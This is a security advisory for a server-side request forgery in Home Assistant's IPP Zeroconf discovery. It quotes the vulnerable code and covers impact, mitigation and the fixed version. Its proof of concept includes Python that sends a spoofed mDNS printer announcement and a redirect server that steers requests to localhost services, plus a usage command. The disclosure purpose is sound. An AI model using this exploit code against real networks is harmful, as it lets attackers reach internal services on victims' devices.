GHSA-4ghv-53cq-7wp3: SSRF
Summary
Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes ipp.tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.
Details
Home Assistant listens for mDNS service announcements on port 5353. When a service of type ipp.tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/configflow.py) processes it automatically.
The asyncstepzeroconf method extracts host, port, and basepath directly from the mDNS discovery info without validation:
python async def asyncstepzeroconf( self, discoveryinfo: ZeroconfServiceInfo ) -> ConfigFlowResult: host = discoveryinfo.host port = discoveryinfo.port zctype = discoveryinfo.type name = discoveryinfo.name.replace(f".{zctype}", "") tls = zctype == "ipps.tcp.local." basepath = discoveryinfo.properties.get("rp", "ipp/print")
self.discoveryinfo.update( { CONFHOST: host, CONFPORT: port, CONFSSL: tls, CONFVERIFYSSL: False, CONFBASEPATH: f"/{basepath}", CONFNAME: name, CONFUUID: uniqueid, } )
These values are then passed to validateinput(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
python async def validateinput(hass: HomeAssistant, data: dict) -> dict[str, Any]: session = asyncgetclientsession(hass) ipp = IPP( host=data[CONFHOST], port=data[CONFPORT], basepath=data[CONFBASEPATH], tls=data[CONFSSL], verifyssl=data[CONFVERIFYSSL], session=session, ) printer = await ipp.printer() return {CONFSERIAL: printer.info.serial, CONFUUID: printer.info.uuid}
The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.
PoC
The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.
Prerequisites
- Attacker machine on the same local network as the Home Assistant Green device - Python 3 with dependencies: pip install -r requirements.txt
Exploit Code
The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
python def builddnsresponse(servicename, servicetype, attackerip, attackerport): transactionid = 0x0000 # mDNS always 0 flags = 0x8400 # Standard response, authoritative answer qdcount = 0 ancount = 4 # 4 answers (servicetype, SRV, TXT, A) nscount = 0 arcount = 0
SRV = servicename + '.' + servicetype header = struct.pack("!HHHHHH", transactionid, flags, qdcount, ancount, nscount, arcount)
def encodename(name): parts = name.split(".") out = b"" for p in parts: out += bytes([len(p)]) + p.encode("utf-8") out += b"\x00" return out
answers = b""
# PTR record: ipp.tcp.local -> meomeo.ipp.tcp.local answers += encodename(servicetype) answers += struct.pack("!HHI", 12, 1, 1) target = encodename(SRV) answers += struct.pack("!H", len(target)) + target
# SRV record answers += encodename(SRV) answers += struct.pack("!HHI", 33, 1, 120) srvdata = struct.pack("!HHH", 0, 0, attackerport) + encodename("hihiabcdmeomeo.local") answers += struct.pack("!H", len(srvdata)) + srvdata
# TXT record txtstrs = [b"abcd=efgh"] txtrecord = b"".join(bytes([len(s)]) + s for s in txtstrs) answers += encodename(SRV) answers += struct.pack("!HHI", 16, 1, 120) answers += struct.pack("!H", len(txtrecord)) + txtrecord
# A record: hihiabcdmeomeo.local -> attacker IP answers += encodename("hihiabcdmeomeo.local") answers += struct.pack("!HHI", 1, 1, 120) ipbytes = socket.inetaton(attackerip) answers += struct.pack("!H", len(ipbytes)) + ipbytes
return header + answers
def sendmdnsresponse(servicename, servicetype, hasip, attackerip, attackerport): sock = socket.socket(socket.AFINET, socket.SOCKDGRAM, socket.IPPROTOUDP) sock.setsockopt(socket.IPPROTOIP, socket.IPMULTICASTTTL, 255) packet = builddnsresponse(servicename, servicetype, attackerip, attackerport) sock.sendto(packet, (hasip, 5353))
The attacker's HTTP server redirects the incoming IPP request to an internal service:
python class RedirectHandler(BaseHTTPRequestHandler): def doPOST(self): self.sendresponse(302) self.sendheader("Location", "http://127.0.0.1:<INTERNALPORT>/<path>") self.endheaders()
Usage
bash python3 zeroconf.py -type ipp.tcp.local -hasip <HOMEASSISTANTIP> -attackerip <ATTACKERIP> -name meomeo
Exploit Flow
1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service 2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000 3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server 4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path> 5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf
Impact
An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes ipp.tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
Mitigations
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Acknowledgements
Discovered by ZDI (ZDI-CAN-28336)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/homeassistantto a version that resolves this vulnerability.Fixed in 2026.2.3
Event History
Frequently Asked Questions
Which mDNS announcements cause the vulnerable handler to run?
Home Assistant processes Zeroconf announcements for the _ipp._tcp.local service type. It listens for mDNS service announcements on port 5353.
What parts of a discovered service record influence the outbound request?
The IPP Zeroconf handler takes the discovered host, port, and base path directly from the service information without validation. The service type is also used to determine whether TLS is used.
Can an attacker use redirects to reach a different destination?
Yes. HTTP redirects from the attacker-controlled host are followed, which can allow the resulting request to be redirected to another host, including an internal service bound to localhost.